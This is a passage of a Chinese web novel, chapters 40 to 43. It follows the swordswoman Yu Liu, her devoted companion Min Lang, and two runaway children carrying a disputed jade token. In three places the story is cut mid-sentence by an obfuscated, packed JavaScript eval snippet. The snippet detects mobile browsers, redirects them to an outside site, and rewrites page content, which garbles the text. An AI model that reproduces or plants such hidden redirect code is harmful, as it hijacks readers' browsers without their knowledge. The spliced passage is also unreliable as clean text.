月色下,无人的荒野地里,她在关心他。 嗯,心有点痒。 扎得很紧,手臂发麻,更痒了。 他低下头,悄悄靠近:“能不能……” “轻一点?”玉流捏他小臂上的肉,“不行。” 敏郎的目光在她头顶流连,欲言又止:“啊,不、不是,我是想说,大人您头上,还有狗毛。” 玉流:“……”好想骂狗啊。 一把推开人,玉流低头扒拉了一会儿:“还有吗?” 敏郎凑过来,从发间,至耳后,最后在她颈侧仔细看了许久,眼睛都笑弯了:“没、没有了。” 玉流这才把头仰起来,面色不善地说:“不许说出去。” “好,那我能问问为什么狗毛会——” “不许问,”玉流完全不想回忆自己怎么和狗打斗的,“别那么好奇,你乖一点。” 敏郎:“好吧。” “好了,”挥手散开身边寻血而来的飞虫,她在遍地的风敲枯枝中辨认突兀的过路声,“接下来……” 沾了一点血沫的眼尾上扬,玉流朗声道:“那边的两位,也给我滚出来。” ——无人作答。 玉流啧了声:“怎么,难道要我来请你们吗?” “不用不用。” 都说到这个份上了,小姑娘再想装死都不行了,顶着一头干草杆和碎枯叶从斜矮的缓坡钻出来,手里还拉着一个盖了一层黄土的小少年。 两人走着,袖口裤管哗啦啦地掉土块。 “嘿嘿,姐姐哥哥好久不见呦。” 40. 捡孩子 见你个头。 敏郎无语极了,千算万算都算不到来的会是她,秦辜幸故意的吧。一股怨怒结于心,胸闷气短,扭头就拉着玉流的手指告状,万分郑重:“我可以……报官抓他们吗!” “嘿哥哥你可真小气,你说是吧,漂亮姐姐。”小姑娘驳回敏郎的话,眨着水灵灵的眼睛就朝玉流看来。她没敢靠得太近,就刚好三步远的距离。玉流拔剑要时间,留给他们跑路刚刚好。 “小气说不上,”玉流敷衍笑笑,扯起敏郎下拉的嘴角,“和小孩子计较做什么。” “就是就是。”宝儿宛有天助,气势都长上来了。 “嘁,”敏郎瘪着嘴,嘀咕,“小孩子又不会和我抢?” 玉流:“你说什么?” 敏郎双眼无神:“没有。” 玉流拍拍他的脸,不由得轻笑,是有点小气。她还想说点什么,宝儿已不甘被忽视。 “姐姐姐姐!姐姐为什么不理我?” “不用喊,我能听见。” 这不是在极乐天,她不用那么客气:“这不是宝儿妹妹吗,带人在唱什么戏呢,地爬子变活人?” “姐姐好无情,我当作没听见呦,”委屈的话说出来,灰灰的脸上依旧笑嘻嘻,毫不畏惧玉流后方那道阴冷得要吃人的眼神,期待道,“姐姐要去哪里呀,可以带上我们吗?” 玉流不答反问:“你说呢?” “噢,”宝儿极其兴奋,“小白听见了吗,姐姐答应了!” 玉流:“嗯?” 敏郎的那种得寸进尺她当作是脑子笨呆呆,宝儿的这种,完全就是故意的了。玉流用剑鞘指向这两位小朋友:“我有这么说吗?” 宝儿见状,松开小白的手,快速地抱着紧自己:“姐姐你好凶,宝儿要哭了,嘤嘤嘤。” “……”除了宝儿,其余人都沉默了。 真是好干的演技,敏郎不看了,再看下去,会影响到自己的发挥的。 跟宝儿站一起的安静少年也挪了一步,扭过了脸。 玉流则眨了一下眼睛,挑出刚才进去的幻觉:“别假哭了,我不吃这一套。” “好吧,”宝儿的确也哭不大出来,咻地勾住小白的肩膀,“那换一个,姐姐不想知道我们偷了什么吗?” 这么快就说到正事上了吗?挺好的。玉流翻手,从袖中拿出一块红绳缀着的黄玉。 无暇的玉在月色下泛着盈透的冷,让敏郎有些许的失神。 玉流摇着玉,问道:“你说的是这个吗?” 离开铺子后,她第一时间检查了白马,在卷起的马尾上,摸到了这枚东西。 事到如今她也用不着否认,正如光头所言,她清楚,一直都很清楚他们要的是什么。 “哇,”宝儿特别捧场,开始捧哏,“姐姐好厉害,好厉害,是吧小白,我就说跟着姐姐一定不会有事的!” 玉流:“……”宝儿这孩子,有点不对劲。 敏郎近身,在玉流耳边低语:“大人,她是不是,有点点傻。” 傻不至于,算心大吗? 当初在极乐天把她认作男子的话还好说,现在已经知道她的身份了,怎么还这么主动热情,赶着白给一样。 这两位毫不掩饰的,像是在看傻子的表情没让宝儿有自觉,倒是让小白感到了丢脸,他想从宝儿的臂弯里离开,未果。 因为宝儿早就察觉到了他的意图,扣紧手腕,嘴皮没动,警告他:“不准跑,不然就把你丢了。” 接着,继续用嬉笑的脸对着玉流:“姐姐真的——好厉害!” “行了,别说这种没用的,”玉流抛起黄玉收好,正色道,“说说吧,你不在极乐天好好呆着,跑出来干什么?” 玉流不说这个还好,一说这个,宝儿的嘴角都要嘟到天上去了:“某位当初说会来看我,结果要走了都没来,那我只好自己来了呗。” 这次都不需要玉流开口,敏郎跳出来跟她对线:“胡、说,我家大人根本没有答应过。” “你才胡说,姐姐那时候都摸我头了,在我们家乡,摸头就是答应!”宝儿一边吐舌头,一边朝敏郎做鬼脸。 “嘿,你、你讲不讲道理!” “嘿,你能不能不结巴!” …… 好幼稚,受不了了。 敏郎说是十八,却也能和宝儿这种十岁出头的小丫头闹成这样,看来哥哥也莫说妹妹了,两位都挺笨笨的。 玉流懒得管这两个,侧身看着已经从宝儿手里逃开,站在旁边开始清理身上落土的小少年。 玉流对他有点兴趣,掏出干净的帕子递过去:“擦擦?” 小白飞快地看了她一眼,摇头,固执地用自己的脏袖子。 “不用就算了,说说,叫什么?” 依旧不说话。 玉流凑近:“你是哑巴,还是聋子?” “——小白,”宝儿突然单方止戈,转而来做中间人,不仅讨了玉流的手帕塞进他手里,还煞有其事地介绍,“他叫小白。” “姓白还是叫小白。” 宝儿斩钉截铁:“就叫小白。” “小白就小白,”玉流也不在这种无关紧要的细节上浪费口舌,“我再问一句,你们为什么要偷宋家的东西?” 噫!宝儿挺起胸膛:“姐姐你怎么能这么说我呢,我在你眼里就是个小贼吗,我没偷啦,是他,我就是出来的路上见到他被追杀太可怜了,帮了他一下而已。” 宝儿说完,推出小白:“你自己说。” 被推得踉跄的小白勉强站稳脚跟后,在今夜说出了第一句话:“不是偷,本来就是我的。” “你的?”有意思。 玉流抱着胸俯身盯着小白,没瞧见敏郎在看向小白时略显复杂的眼神。 “你和宋家是什么关系。”她问。 小白又不说话了,那玉流就自己来猜。 “宋山云虽然是镜水山庄的管家,但是他姓宋,能指使他的,也就只有他那位人烂命好的二哥宋远徽。而你——” 小白猝不及防地被抓起了手腕,玉流强迫他张开五指,细细端详后,忽地轻笑:“不算细皮嫩肉,但也不是常年干活,你不是镜水山庄的下人,却说那块价值不菲的黄玉是你的……我对宋远徽有点了解,他喜欢送人信物,尤其是女人,难道……” 玉流扬起脸,少年脸上的尘土已经擦去,露出一张清秀周正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361234|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面容。 出众的人总是相似的,更何况他们沾亲带故呢。 玉流眉梢翘起,调笑道:“宋远徽又有私生子了?” 果不其然,小白接下来的举动没有让她失望。 ——“啪嗒”,小少年握在手中的帕子掉在地上,脸上的血色尽褪,像是被人戳破了秘密。 静谧无声的黑夜如陡然被渔夫收紧的渔网,网边离水的鱼为活命在扑腾,网心有水的鱼浑然不觉,继续摇尾送死。 “不是,”宝儿摇着脸蛋,“姐姐你猜错了,他不可能的,是吧。” 宝儿压根不信:“小白快说不是呀。” 可小白只低着头,死死咬着唇克制住颤抖的身子,盯着那方快要被尘土侵蚀的帕子,人摇摇晃晃的,任由宝儿推搡。 他这样子,宝儿再不信都不行了:“哎,小白你,哎,不是,我,等等,你,不是真的吧。” “那可是镜水山庄诶,我说哥,你怎么能这么害我呢,”宝儿的脸皱成了一团,她哪里想得到就是顺手的一下,竟然还能扯到镜水山庄了去,“我、我,你、你、你……” “啊啊啊,完了,”宝儿哭卿卿,可怜兮兮地想去寻求玉流的安慰,“怎么办呀姐姐,我是不是惹到了不该惹的人,我是不是要上逍遥阁的买凶榜了,呜呜呜,我才十二岁呀姐姐,我还不想死呀!” 宝儿哭得贼大声,光打雷不下雨,拿起脏的袖子就要去糊脸。 “你别……”小白制止她,想给她卷开袖子外头的那层。 宝儿可凶了:“你干嘛!” 小白言简意赅:“脏,里头的干净。” 宝儿看看自己的脏衣裳,再看看玉流靠着敏郎像是在看戏的姿态,酝酿了好久的情绪此刻崩裂。 “哇”的一声,眼泪一股脑地掉了出来。 玉流杵杵敏郎:“瞧瞧,又来一个掉珍珠的。” “嗯?”敏郎立即嗅到了危机,低头,对着她的眼睛,满脸认真,“她不是,我的才是。是大人唯一的珍珠。” 他猛地凑过来,玉流眼睛都快对眼了,一时没领会过来:“啊?” “啊,没什么,”敏郎说得轻,漂亮的眼睛都在用力诱她,“就是大人不要留下——” “姐姐。”小白非常没有眼力见地抓住了她的胳膊。 玉流此时眼里还是敏郎的脸:“干嘛。” 小白指着宝儿:“快死了。” “啊?”玉流转头,蹲在地上的宝儿哭得撕心裂肺,人都快要闭气过去了。 敏郎无话可说,翻了个白眼表示他的态度。 “哎呦,可怜呢,”玉流啧啧,走来拍拍宝儿掺杂着沙土的蓬松头发,“别哭了,哭晕了我可不会善心大发地带你离开这里的。” 宝儿屏气,直到压下哭腔,才抽抽嗒嗒地抬头:“那、那姐姐,我不哭的话就可以收留我们了吗?” “不行。”玉流毫不犹豫地回绝。 宝儿要闹了:“为什么!” “宝儿妹妹,不知道路边的人不要捡吗,无论是活人还是死人,”玉流站直,居高垂眸,翻脸漠然,“要么无视要么补刀,不然你根本不知道他什么时候就会反咬你一口。” 41. 装可爱 两人同骑一匹马戴斗笠不方便,玉流就摘了,把被风吹乱的发丝拨到耳后,然后伸手,托起敏郎就要压来的下巴。 “为什么一路都不说话。” 敏郎没能得逞,顺势落在她的掌心:“我……我在生气。” 还以为他会否认一下,没想到就直接承认了。玉流啧了声,捏捏软肉:“我知道。” 敏郎更想生气了,眼眸半垂:“那大人,为什么还要问?” “因为你不说。” 死结。 好吧,那他要开始说了,小小声地怒了一下:“为什么!……要留下他们。” 敏郎忿忿不平,指着斜前方骑在玉流那匹白马上的两个死孩子。 其实本来是打算他俩一人带一个的,但是敏郎的不满隔着几里地都能看出来,为了防止他直接把人丢下,玉流也觉得他做得出来,所以暂时让会骑马的小白照顾宝儿。 她收回手,允许他靠在她的肩颈:“因为宝儿说可以为我杀人。” “我也愿意啊!”敏郎心里酸酸的,怎么就被个小姑娘占了先机呢! 他把下巴往里头挪了挪,就着玉流的耳垂,酥酥麻麻的声音就往耳骨里钻:“我还愿意为大人去死,她愿意吗!” 玉流没有想到他会说这种话,侧脸斜瞅着还在皱脸生闷气的敏郎,蓦地笑了:“小郎君,我留下你不是为了做这种事的,想点好的。” “还有,我现在骑得慢,你不用靠得这么近,头也给我挪开,”玉流往前坐了坐,留下点空隙让风疏走贴身的热,“一身的土,全沾我背上。” 敏郎闷闷地呼气,吹红她的耳垂,故意一样,又蹭了一下,才依依不舍地仰起头。 没有星子的夜幕下,俊柔的眉眼乜长,略带狠意地凝视宝儿的后脑勺。 半晌,他无声道:“真是碍眼。” 不知过了多久,月落日升,光照远山,黑夜的干冷被拂散,玉流抬起半僵的胳膊,控制着力道戳戳打瞌睡的小狗膏药:“醒醒,你可以下来了。” “嗯?哦……”敏郎含着困意嘟囔了声,眼皮适时地动了动,睁开眼。趴久了身子有点麻,愣了一会儿,揉揉被捅到的地方,慢吞吞地先下了马。 双脚都踩到了地上,他伸手,把玉流接下来。 “要休息吗?”他问。 玉流转着手肘:“嗯,我得走一走。” 若是从前她一人,赶一整个日夜的路都不会有事,这次不行了,她背上还搭着敏郎。 夜里本想和小白换一下的,毕竟他看起来也才十四五岁,她担心他撑不下去,还没等开口问,身后这位就打起了瞌睡。 脑袋一点一点地,跟小鸡啄米似的,眯一会儿睁一会儿,不时吸吸嘴巴,不知道有什么吃的好馋的。 再看那头的小白,坐姿端庄,腰背笔直,看起来精气神比她都还要好。 担心好像多余了,那她关怀别人吧。念着敏郎身娇体弱,她客气了一下,说他困的话可以睡一会儿:“过一个时辰,再和他俩换吧。” “啊,真的吗,那我、那我就……” 他应该是想要推脱一下的,可是耐不住睡意汹涌,话都没说完,呼吸一缓,靠在玉流肩头就睡过去了。 只是他的睡相好差。人是睡着的,嘴上是要哼哼唧唧的,环住她的手是不放的。额头那点被风吹干的发梢挠着她的颈窝,痒得慌。 这算不算自作孽呢? 幸好小白一直醒着,毅力堪比玉流,没出什么乱子。 见玉流他们停下歇息,他勒马,在下马前叫醒了仰面睡得正香的宝儿。 宝儿眼睛都睁不开:“一定……呼噜……要醒吗呼呼,等我,啊——” 小白稳重地托住差点掉下马的宝儿,让她趴在马背上慢慢下来。 那位两副面孔看人下菜的哥哥正在给马喂水,他趁机走到玉流这边。 他很拘谨地问:“姐姐,你什么时候把玉还给我。” 玉流站在山坡上远眺:“再说。” 小白嘴皮抖动:“……过分。” 玉流斜眼:“你说什么?” 似乎是察觉到了危险,小白的眼皮不受控地跳了一下,他迅速捂住眼睛,低头乱看:“……蝈蝈,我说有蝈蝈。” 玉流的眼神如针刺,小白硬着头皮:“真的有,真的,真的……” “什么有,有什么,”宝儿伸着懒腰,摇摇晃晃地走来,哈欠满天飞,接了话就往自己的目的上说,“姐姐,你要去京城的话,那我们可不可以走邳州过呀?” 玉流放过了小白,思考邳州的位置:“绕远路?” “不是,”宝儿还没彻底醒,眼皮一直打架,说话有点慢,“我们可以……过回天城,不就——” “不可以。” “啊,为什么呀,回天城那边——” “不可以就是不可以,”玉流拒绝得很干脆,她不管小姑娘有什么小九九,“有意见就和你的小白一起滚。” “唔,没有。”宝儿泄了气,揉着眼睛安静地跟小白一起罚站。 一旁的敏郎摸着马鬃,看着宝儿吃瘪的样子,心里高兴了许多。 果然凡事都得有比较才好。 “既然大家都醒了,那我们继续,”玉流走下坡道,“小白带着宝儿跟着我们。” “噢……啊?”宝儿迷糊的眼睛瞬间瞪得老大,“姐姐我不能和你一起吗?” 玉流:“嗯,你有点吵。” 什么嘛!宝儿撅着嘴,怒指暗喜的敏郎:“他就不吵吗!” 玉流:“他听话。” 牵着马过来的敏郎眼睛都要笑弯了。 自诩超听话的宝儿还没来得及哭给玉流看,小白拉住她的手:“走了。” 他想了想,补了一句:“你听话。” 嘿!宝儿跺脚,不带这么欺负人的! …… 两个时辰后,玉流算着他们所处的方位,拨冗去了趟附近的镇上。 带上两个孩子也有点好处,到人多的地方不会被怀疑。 大清早的,得给这两个孩子吃顿饭,免得路上饿死。 挑挑拣拣找了家还算干净的小馆坐下,点了面,付了钱,玉流双手将敏郎钉在凳子上。 “你们先吃,我出去一趟。” “大——” “这不是商量,”玉流低首,附在他耳边,“你盯着点他们。” 胡搅蛮缠的话胎死腹中,敏郎乖乖坐好,等着玉流出门后,瞬间变了脸。桃花眼变成死鱼眼,对着宝儿和小白,直接道:“死孩子。” 玉流走了出来,绕了绕,回到了大路口的柳树荫角。 她停下,打量着这卖画摊子。 稀烂的画,盖着模仿名家的章印。这么实打实的骗子,官府居然没把他抓起来。 这日子真是过得太舒坦了。 玉流敲敲木桌,问着拿书盖脸的人:“老板,有空吗?” “没空,一边玩去。” “是吗,”玉流笑,清清嗓子,“呦,这位不是包——” 索命的声一出来,翘着腿躺在椅子上的小胖子立即扒开脸上的书,支起身子扑来,就要捂住这不速之客的嘴。 等他看清了人,惊讶道:“我去,玉姑娘?” 包打听的瞌睡吓没了,抹了把下巴的涎水,从椅子上跳下来,赶紧给她搬来小板凳,拿袖子擦干净,请她坐下。 “玉姑娘你怎么来了?” “路过,”玉流接过他递来的茶,“你怎么在这儿?” “空嘛。”包打听最近过得挺好,不仅没瘦反而又胖了点,幞头都快戴不住了,露出一小截勒得发红的额头。 “最近没什么事情干,享受一下清闲的乡野生活。这个小镇子都是老人和孩子,民风淳朴,适合养老。” 包打听说完自己,又继续问她:“您呢,这是抓到无涯贼首打道回府了吗?” “不是,有事回去。” “那来都来了,我请您吃个饭?” 玉流没答,喝了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370040|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶,又绕回到他身上:“你怎么这么空?” 包打听笑得特别清澈,清澈到有点蠢:“哎呀,手头宽裕了,人就滋润了,自然就空了呀。” “哦,”玉流明白了,这是她那点金子的福祉呢,“所以你就到这穷乡僻壤来卖假画了是吧。” 包打听摆着手指头,否决玉流粗浅的认知:“不不不,这只是我的伪装。落魄不得志的书生,在这里很混得开。” 玉流笑了:“服了你,空成这样,你今年件数上的考核要怎么过?” 包打听的脸突然就晴转阴雨了:“姑娘,能不能念着我点好呀,这才年初,我偷点小懒,下半年再努努力补回来呗。” 玉流就在这里等着他呢:“要不这样,我这儿有个活儿,到时候写个字据,抵得上三四件吧,辛苦程度也就那样,胜在钱多。” “呃……”包打听恍惚觉得后背有阵阴风刮过,整个人凉飕飕的,于是婉言相拒,“不了吧。” “别怕,有钱赚。” 玉流掏出钱袋子,晃了晃,里头的金银撞得叮当响。 包打听旋即堵住耳朵,可金子的声音早就流进去了,在脑子里无死角地来回播放。 他还是败给了自己的贪财:“您要我干什么?” 玉流扬起一个堪称和善的笑:“侧耳过来……” 玉流不知道出去干什么了,面都端上来了人还没回来。 宝儿握着筷子数数:“哥哥,只有三碗吗?” “那位姑娘只点了三碗,”小二不太懂这几位的意思,“是还要再上一碗吗?” 敏郎知道她又不吃了,朝小二道谢:“没事,这样就好。” 小二放下面:“好嘞,几位慢用哈。” 坐在最外头的小白很主动,一碗一碗地拿过来,劣质的釉碗在掌心转了圈,再送到其余二人的手中。 他也不急着吃,先用筷子将整碗面翻过来,再将面打散,最后端起碗,眼珠子移到眼尾,看着敏郎吃了后,他才抿了一小口的汤。 宝儿咬着筷子,对小白的一通做法很好奇:“这样吃,会更好吃吗?” “咳咳,”小白咳出面,犹豫了一下,“……会吧。” 宝儿对什么都很新奇,抓起筷子有样学样:“那我也试试!” 被偷窥的敏郎笑笑,吃下口中的面,心道,不会。 小白只是在谨慎。不是那种寄人篱下的谨小慎微,而是被杀惯了的谨慎。 看来宋远徽的私生子这一点,有待考证。 他低头,轻轻吹起撒了香油滴的汤面,这件事的确越来越有意思了。 他想着玉流,心不在焉,分神留意着大门,所以吃得慢,再抬头时,宝儿已经吃完,小白不知所踪。 “人呢?” “我让他去后厨问问有没有馒头包子什么的,等会儿给姐姐带上。” “不劳你费心,她不吃。” “姐姐不吃那就我吃呗,问问又没关系。” 小姑娘特别讲道理,撑着长凳面坐到敏郎身边,用甜甜的笑脸相迎:“哥哥,趁现在没人,跟我聊聊嘛,知道我来干嘛的吗,我是特意来传话的。” 敏郎放下筷子,侧脸如冷霜:“我知道。” 从看到她的第一眼起,他就知道是秦辜幸的意思了。 宝儿简要地复述了一下秦辜幸的意思,看着敏郎不虞的脸色,悠悠道:“我还没说完呢,哥哥你就已经这么不乐意了呀。” “你还要说什么。” 宝儿一扭一扭地靠近,撑着巴掌大的圆脸,一字一字道:“哥哥,我们不一样。” “什么不一样。” “虽然不知道你究竟是谁,但是有一点我很清楚,我是真可爱,”宝儿眨着她扑闪扑闪的大眼睛,尽说些戳心窝子的大实话,“而你,你是装可爱。” 小姑娘丝毫不怵身边人发寒的双眼,用着只有两个人能听见的声音威胁道:“所以把姐姐分给我一点,不然,我就告诉姐姐你究竟是个什么样的人呦。” 42. 不公平 小馆外头歇凉的地方,坐着唯三的人,站着唯二的马。 “吃好了吗?” “好了好了,”玉流刚回来,宝儿就跟条泥鳅似的,拿着油纸包好的包子咻地滑过来,“姐姐,吃吗?” 玉流摇头:“我不饿,你吃吧。” 还真让讨人嫌的哥哥说中了,宝儿不太高兴,嘟着嘴:“好吧。” 不过眨眼的功夫,宝儿就笑着问:“那姐姐我们要走了吗?” “嗯,我们抓紧点,争取在日初前到京城。” 玉流正要招手让敏郎过来,宝儿又绊住了她:“那轮到我和姐姐一起了吗?” “什么?” 宝儿翘着脚跟,饱含期待,举着手保证道:“我不吵,我会听话的。” “对,还有这件事。”但这件事也不是她一个人说了算。 “我都可以。”身为小包袱的小白非常有自知之明,或者说是寄人篱下的清醒认知,亦步亦趋地跟着,大部分的时间能不说话他就不说话。 “没有问你。”玉流侧身看向后方的敏郎,下巴微微点着,那是无声的询问。 敏郎:“好。” 出乎意料的爽快和安静,这在玉流眼中就有点反常了。以他的性子,难道不是坚决拒绝,然后她一锤定音才对吗? 玉流不着痕迹地拧了拧眉心,走过去:“你这是怎么了?” 她记得,她就只出去了一会儿吧。 玉流怀疑的目光向下倾斜。 跟在敏郎身边的小白心尖不由得颤了颤,生怕玉流转头就问他,赶紧盯着脚尖离开,顺带还拉走了急得快要上蹿下跳的宝儿。 “走。” “哎,你干嘛!” “非礼勿视,非礼勿听。” “你自己小古板别呜呜,他是故唔——” 啊,对,他就是故意的。死孩子在这方面还真是有眼见。 因为这样玉流才会关心他。 敏郎捂着嘴咳嗽:“没事。” 是吗?可是看起来好像不太是啊。 “你是在勉强吗?” “……这,嗯,怎么说呢?” “大概就是你的嘴上说没关系,”玉流捏扯他的脸颊,滑稽的模样里,她看得很明白,“然后你眉毛,眼睛,身体的姿态,都在说不愿意。” 如此的口是心非。 “么育唔。” 含含糊糊的,玉流凑近:“说的什么?” 敏郎口水都要被她捏出来了:“呜呜!” “哦,不好意思,捏得太顺手给忘了。”玉流放开他,当然,毫无愧疚。 敏郎抹去嘴角的水渍,揉着微疼的肉,她最近掐得真是越来越顺手了,力气也越来越大了。虽然他挺乐意的,但不想仅限于此。 他扁着嘴,去勾玉流的手。反复揉捻过她的指腹,耳尖腾地蒸成粉红:“我说不行,大人就,嗯,不和她一起了吗?” “不会。” “哦。”完全没有意外呢,他在心底笑。 再抬起眼皮时,他看见不远处的宝儿扒开碍事的小白,蹦跶得老高,在后面朝他挥着小肉手。 她是在提醒他。 敏郎咬着唇,秦辜幸你真是恶毒,故意找个另有所图的小姑娘来膈应他,偏偏他还真的不能对她做什么。 在极度的不虞中,敏郎努力装作寻常的样子:“那我的意思是,我没有勉强。” “她年纪小,我让让她。” “我不和,嗯,妹妹抢。” 真大方。 还很可爱。 “哈。”玉流笑出声来,本想当作看不见他满脸的“快来哄哄我”,可有时候心思根本无处可查,来不及细细思量,身体已经被支配。 她踮脚,亲了亲他的嘴角。 “我们敏郎,真的很乖。” 比天边的朝霞还要艳红的脸上,潋滟的眸子轻颤,须臾之间,敏郎俯身捧起她的脸。 “不公平。” “嗯?” “我要亲回来的,大人……还有,不是‘我们’,是,‘我的’。” 玉流被迷惑了,慢了的半拍被认为是默许,后面的话消弭在唇齿间。他们很少亲吻,两个不太会的人不一会儿就气喘吁吁。 “差不多,唔……” “不要!” 从未见过如此厚颜无耻之人的宝儿:“我靠——” “非礼勿言。” “那你盖住我眼睛做什么!” “哦。” “诶!” 可恶的小白,她的整张脸都被脏袖子遮住了。 天上的云飘过,暗了又明的路上,玉流牵着马先走出了这座人少清闲的小镇。 路口的卖画摊子不见了。玉流看了眼,欲盖弥彰地摸着被咬破的唇,嫣红的脸已经平静。她真是无法拒绝那张脸了,以后还是得注意点,幸好那时候是在墙角里,没被其他人瞧见。 她示意紧紧贴着她的宝儿:“你先上去。” 宝儿推脱:“不用不用,姐姐先。” 怎么还客气起来了。这个小妹妹,长着一张单纯的脸,却是完全看不透。 “随你。”玉流翻身上马,等着谦让的宝儿。 “嘿嘿,姐姐我可乖的,不会给姐姐添麻烦的呦。”说着,嘿咻嘿咻,宝儿爬上马,正对着玉流坐好。 玉流低头,正好就能看见宝儿仰起的,笑得杏眼都要看不见的脸蛋。她无法理解她异于常人的小脑袋瓜:“你为什么要这样坐?” 宝儿往后挪了一点屁股:“因为我喜欢姐姐呀,所以要看着姐姐呀。” 哄人的话倒是张口就来。玉流果断无视,抿着唇目视前方。 白马跑起来,马背颠簸,宝儿顺势滑下来,那点留出的空隙瞬间就没了。 “啊,啊,啊!”她挤着脸叫了几声,显然是吓到了。 “姐姐,”她弱弱地问,“我可以抱你吗?” 玉流分神垂眼,宝儿到底才十几岁,婴孩稚气未脱,脸蛋都是肉肉的。不说别的,看着是个可爱的孩子。 “可以。” 就这样,小姑娘圆圆的脸蛋顺理成章地贴上玉流的胸脯。她露出一只眼睛,越过清亮翠色的山路,直直地落在敏郎身上——明目张胆的挑衅。 回应她的是滋滋灼烧的怒气,仿佛真的要在宝儿身上点燃出一个窟窿来。 身前的小白不禁打了一个哆嗦,紧紧攥着自己的袖子,头皮发麻:“那个,哥哥,要不我来骑可以吗?” “不用。”敏郎咬牙切齿道。 “那、那哥哥,你看一下前面的路好吗?” 小白知道自己谎言很多,但惜命是真的,比真金都真。就不说先前他们走过的七扭八歪的小路,穿过等人高的枯草林了,现在,现在!前面是断崖了啊! 敏郎阴着脸:“放心,你死了我也不会死。” 敏郎愤愤地勒马,纠正路径,跟上了玉流走的方向,甚至有超过她们的意图。 而在宝儿和小白看不见的角度,他已换了一副神情。 宝儿敢威胁他是因为知道他的身份有异,他会吃宝儿的威胁是因为清楚秦辜幸不会害他只会坑他。 可宝儿你还是不太了解玉流。 你,还有一个暂时被当成宋远徽私生子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没关系呀,”宝儿自觉把玉流的话理解成为对她的关心,柔嫩的脸贴近,“我又不是极乐天的人,我只是路过在那里打几天短工而已。” 玉流握着缰绳的手紧了紧,松开缠绕在手掌的半圈,小腿轻轻地踢了一下马腹。 “所以你不秦辜幸的人。” 宝儿理所当然:“不是呀。” “那就好办了,”玉流倏忽笑了声,“别人上了贼船,你是上了贼马。宝儿妹妹,别这么紧地抱着我。” 在宝儿没有察觉的时刻,玉流已经放慢了马速。白马和主人配合默契,周围是比方才更为陌生的景致,敏郎和小白不见了踪影。 碧蓝的天下,看不到边界的荒凉土地上,玉流眉眼半阖,细长的眼睫扫下一片淡淡的黑影,仰视看见的冷脸自有上位者的迫视。 她按住宝儿的肩,将她钉在此处。 “宝儿妹妹,你千方百计地接近我,意欲何为?” “我先告诉你,别说什么一见钟情,我对小女孩没有兴趣。” “呃……”宝儿试图挣扎一下,“单纯的喜欢呢?” “呵呵,你是觉得我看起来很傻吗?” “怎么会呢?” 宝儿正准备下一个方案,玉流已经有了预判:“你假哭一下我就把你丢在这里,你说凭你这副小身板,能活着走出去吗?” 完了,这个念头在脑中来回飘过,宝儿抖着脖子开始傻笑:“姐姐你不要吓我哦。” 她在拖延。 宝儿大声地吸着鼻子,豆大的眼泪挂在眼眶里,在玉流的威逼下,拼命忍住了。 可恶,这么好的法子怎么轮到她就不管用了。都怪那个哥哥,要不是被他抢先一步,她才不至于这么凄惨!真是令人讨厌! 想想想想,宝儿催着脑子转,赶快想想! 有没有备选的说辞啊,哥哥,哥哥,我亲爱的,远在回天城的哥哥,你之前还叮嘱我什么来着,快点快点,快点救我! 叮——啊!有了! 43. 注意点 一黑一白两匹骏马一前一后,疾行如银索,划破黑夜,撞碎长风。 玉流估摸的时辰很准,他们在天亮之前赶回了京城。无人的城郊黄沙路凄冷得像是黄泉道,入夜后墙中的孤城妖艳繁华,犹如鬼进亡城。 “原来京城长这样,”宝儿探着脑袋东张西望,“看起来和地方州没啥区别啊。” 这话才说出口,玉流就给她脑门来了一个毛栗子。 “哎呦!姐姐你干嘛!” “这种话不要当着城里的人说,或者你说了,不要再说你认识我,然后,”玉流拍拍她的屁股,“你可以下去了。” “噢。” 宝儿捂着早就颠得半麻的屁股踉跄地从马背上下来,圆溜溜的眼珠转了转,忽地蹲在地上抹眼泪:“嘤嘤嘤。” 玉流下马,扫了装鹌鹑扮可怜的小姑娘一眼,直接跨过去,她要去找城门卫。 宝儿一个猛子站起来:“啊不是,姐姐这么狠心吗,不能安慰安慰我吗?” 玉流头都不回,冷淡得很:“你要是想像我一样就不要抱怨。” 宝儿被掐住了喉咙,神情耷拉地砸吧嘴:“我没抱怨。” 她不能反驳,因为这就是她自己说的话,为的是不让玉流就地丢下她。 她在极乐天的那几天还是学到了一点东西的,比如投其所好很重要;不能一根筋地拍马屁,要看不出来地拍马屁;有时候太假的话反而会让人相信是真的。 彼时走于独木的宝儿耸耸微红的鼻头,挺起胸膛,掷地有声,十分认真:“因为我想成为像姐姐一样的人。” “……嗯?”玉流不掩饰自己的怀疑,俯身凝视宝儿澄澈的双眼。 瞬息的对视后,她道:“那你可够蠢的。” 宝儿心里打鼓,但凡玉流再多看一丁点,她就要暴露了。姐姐还是有点吓人的,还好她扛住了。 幸而玉流之后没有再说什么,她还以为这事儿就翻篇了,没想到姐姐会记在心里,那她可要小心了。 宝儿暗暗下定决心的模样很傻。旁观者清的小白用袖子擦了一把被风沙吹迷糊的脸,默默补刀:“其实你看起来很好。” 宝儿叉腰:“哪里!” “从头到脚,”敏郎让小白去牵马,只身走到宝儿跟前,“抱着她的感觉好吗?” 